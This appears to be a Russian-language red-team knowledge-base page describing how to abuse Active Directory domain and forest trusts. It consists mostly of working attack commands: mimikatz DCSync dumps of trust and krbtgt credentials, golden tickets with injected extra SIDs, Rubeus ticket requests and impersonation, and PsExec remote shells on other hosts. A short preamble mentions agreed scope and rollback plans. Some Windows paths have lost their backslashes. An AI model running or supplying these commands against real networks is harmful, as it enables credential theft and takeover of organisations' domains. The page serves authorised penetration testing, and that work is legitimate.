База знаний

Доверия между доменами

:::tip Формат страницы

Порядок действий описан по‑русски. В методике сохранены заголовки (частично локализованы типовые термины), таблицы, иллюстрации и блоки кода: команды и параметры на английском, без перевода синтаксиса.

:::

Порядок действий

1. Зафиксируйте роль в домене и допустимые техники (read‑only / согласованная эксплуатация).
2. Соберите данные для картирования атаки (учётки, делегирование, доверия).
3. Двигайтесь по сценариям раздела с планом отката и контролем DC.
4. Команды и инструменты в блоках кода — на английском.

Методика

Введение

Bidirectional (Extra SID)

.mimikatz.exe "lsadump::dcsync /domain:prod.corp1.com /user:corp1$" "exit"

Get-DomainSID -Domain <CURRENT-DOMAIN>
Get-DomainSid -Domain <TARGET-DOMAIN>

"kerberos::golden /user:Administrator /domain:<CURRENT_DOMAIN> /sid:<CURRENT_DOMAIN_SID> /krbtgt:<KRBTGT_NTLM> /sids:<<TARGET_DOMAIN_SID>-<TARGET_IDENTITY_SID> /ptt" "exit"

ls \<COMPUTER>C$
c:toolsSysinternalsSuitePsExec.exe /accepteula \<COMPUTER> cmd

Bidirectional (Parent-Child)

Get-DomainTrust

SourceName      : dev.capsulecorp.local
TargetName      : capsulecorp.local
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection  : Bidirectional
WhenCreated     : 8/15/2022 4:00:00 PM
WhenChanged     : 8/15/2022 4:00:00 PM

Get-DomainGroup -Identity "Domain Admins" -Domain <PARENT_DOMAIN> -Properties ObjectSid

Get-DomainGroupMember -Identity "Domain Admins" -Domain <PARENT_DOMAIN> | select MemberName

.Rubeus.exe createnetonly /program:C:WindowsSystem32cmd.exe /domain:<CHILD_DOMAIN> /username:<IMPERSONATE_ADMIN> /password:FakePass123 /ticket:<TICKET_OBTAINED_PREVIOUSLY>

# Obtain the parent DC
Get-DomainController -Domain <PARENT_DOMAIN> | select Name
ls \<PARENT_DOMAIN>c$

One-Way Inbound

Get-DomainForeignGroupMember -Domain <TARGET_DOMAIN>
ConvertFrom-SID <MemberName>

Get-DomainGroupMember -Identity <MemberName> | select MemberName

.Rubeus.exe asktgs /nowrap /service:krbtgt/<FOREIGN_DOMAIN> /domain:<CURRENT_DOMAIN> /dc:<CURRENT_DOMAIN_DC> /ticket:<TICKET>

.Rubeus.exe asktgs /nowrap /service:cifs/<FOREIGN_WKST> /domain:<FOREIGN_DOMAIN> /dc:<FOREIGN_DC> /ticket:<TICKET>

One-Way Outbound

.ADSearch.exe --search "(objectCategory=trustedDomain)" --domain <CURRENT_DOMAIN> --attributes distinguishedName,name,flatName,trustDirection

Get-DomainObject -Identity "<FOREIGN_DOMAIN_distinguishedName>" | select objectGuid

Invoke-Mimikatz -Command '"lsadump::dcsync /domain:<CURRENT_DOMAIN> /guid:<objectGuid>"'

.Rubeus.exe asktgt /user:<TRUSTED_ACCOUNT>$ /domain:<FOREIGN_DOMAIN> /rc4:<PREVIOUSLY_OBTAINED_KEY>

Forest trust – Extra SID

Get-DomainTrust -Domain <TARGET>

Get-DomainGroupMember -Identity "Administrators" -Domain corp2.com | select MemberName,MemberSID
# Alternatively you can enumare other groups
Get-DomainForeignGroupMember -Domain <TARGET_DOMAIN> | select GroupName,MemberName
ConvertFrom-SID <MemberName>

—